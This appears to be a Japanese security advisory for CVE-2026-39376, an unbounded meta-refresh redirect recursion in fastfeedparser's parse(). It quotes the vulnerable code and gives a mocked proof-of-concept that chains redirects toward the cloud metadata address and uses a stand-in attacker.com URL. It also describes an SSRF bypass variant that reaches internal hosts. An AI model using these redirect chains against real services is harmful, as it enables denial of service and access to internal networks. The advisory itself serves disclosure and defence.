CVE-2026-39376(meta-refresh チェーンによる無限リダイレクトループ DoS)
parse() が <meta http-equiv="refresh"> タグを含む HTML ページを返す URL を取得すると、リダイレクト URL を指定して再帰的に自身を呼び出します。この際、深さ制限、訪問済み URL の重複排除、リダイレクト回数の上限は一切ありません。攻撃者が制御するサーバーが HTML meta-refresh レスポンスの無限チェーンを返すと、無制限の再帰が発生し、Python のコールスタックを枯渇させてプロセスをクラッシュさせます。この脆弱性は、付随する SSRF 問題と連鎖させて、初期 URL チェックをバイパスした後に内部ネットワークのターゲットに到達することも可能です。
parse() は XML パース失敗時に ValueError を捕捉し、_extract_meta_refresh_url() を介して HTML レスポンスから meta-refresh URL を抽出し、その URL を指定して自身を末尾呼び出しします。この再帰呼び出しは無条件です。最大リダイレクト深さ、訪問済み URL のセット、自己参照型またはループ型リダイレクトに対するガードは一切ありません。
fastfeedparser/main.py — parse()(再帰シンク):
def parse(source: str | bytes, ...) -> FastFeedParserDict:
is_url = isinstance(source, str) and source.startswith(("http://", "https://"))
if is_url:
content = _fetch_url_content(source)
try:
return _parse_content(content, ...)
except ValueError as e:
...
redirect_url = _extract_meta_refresh_url(content, source)
if redirect_url is None:
raise
return parse(redirect_url, ...) # ← 無条件再帰、深さ制限なし
_extract_meta_refresh_url() は urljoin(base_url, match.group(1)) を使用するため、content= 属性内の相対 URL、プロトコル相対 URL(//host/path)、絶対 URL のすべてが追跡されます。
稼働中のサーバーは不要です。以下は _fetch_url_content をモンキーパッチして無限の HTML meta-refresh チェーンを返し、無制限の再帰を確認します:
import fastfeedparser.main as m
call_count = 0
_orig = m._fetch_url_content
def mock_fetch(url):
global call_count
call_count += 1
if call_count > 10:
raise RuntimeError(f"Stopped at call {call_count}")
next_url = f"http://169.254.169.254/step{call_count}/"
return f"""<html><head>
<meta http-equiv="refresh" content="0; url={next_url}">
</head><body>not a feed</body></html>""".encode()
m._fetch_url_content = mock_fetch
try:
m.parse("http://attacker.com/loop")
except RuntimeError as e:
print(f"CONFIRMED infinite loop: {e}")
finally:
m._fetch_url_content = _orig
print(f"Total fetches before stop: {call_count}")
# 出力:
# CONFIRMED infinite loop: Stopped at call 11
# Total fetches before stop: 11
各再帰呼び出しは実際の HTTP リクエスト(30 秒タイムアウト)、HTML パース、Python スタックフレームの割り当てを実行します。Python のデフォルト再帰制限が 1000、リクエストあたりのタイムアウトが 30 秒の場合、単一の攻撃者リクエストでサーバースレッドを最大約 8 時間占有し続け、その後 RecursionError が発生します。
SSRF チェーン亜種: 最初のレスポンスを、内部アドレス(http://192.168.1.1/)へリダイレクトする正規の HTML にすることができます。これにより、リダイレクトループは、初期 URL にのみ適用されるアプリケーションレベルの URL 検証によってブロックされるはずのターゲットに対する SSRF バイパスとしても機能します。
これは、二次的な SSRF チェーン影響を伴うサービス拒否(DoS)脆弱性です。ユーザー指定のフィード URL を受け入れ、fastfeedparser.parse() を呼び出すすべてのアプリケーションが影響を受けます。RSS アグリゲーター、フィードプレビューサービス、「URL で購読」機能などが含まれます。認証を必要としない攻撃者は以下を実行できます:
RecursionError でワーカープロセスをクラッシュさせる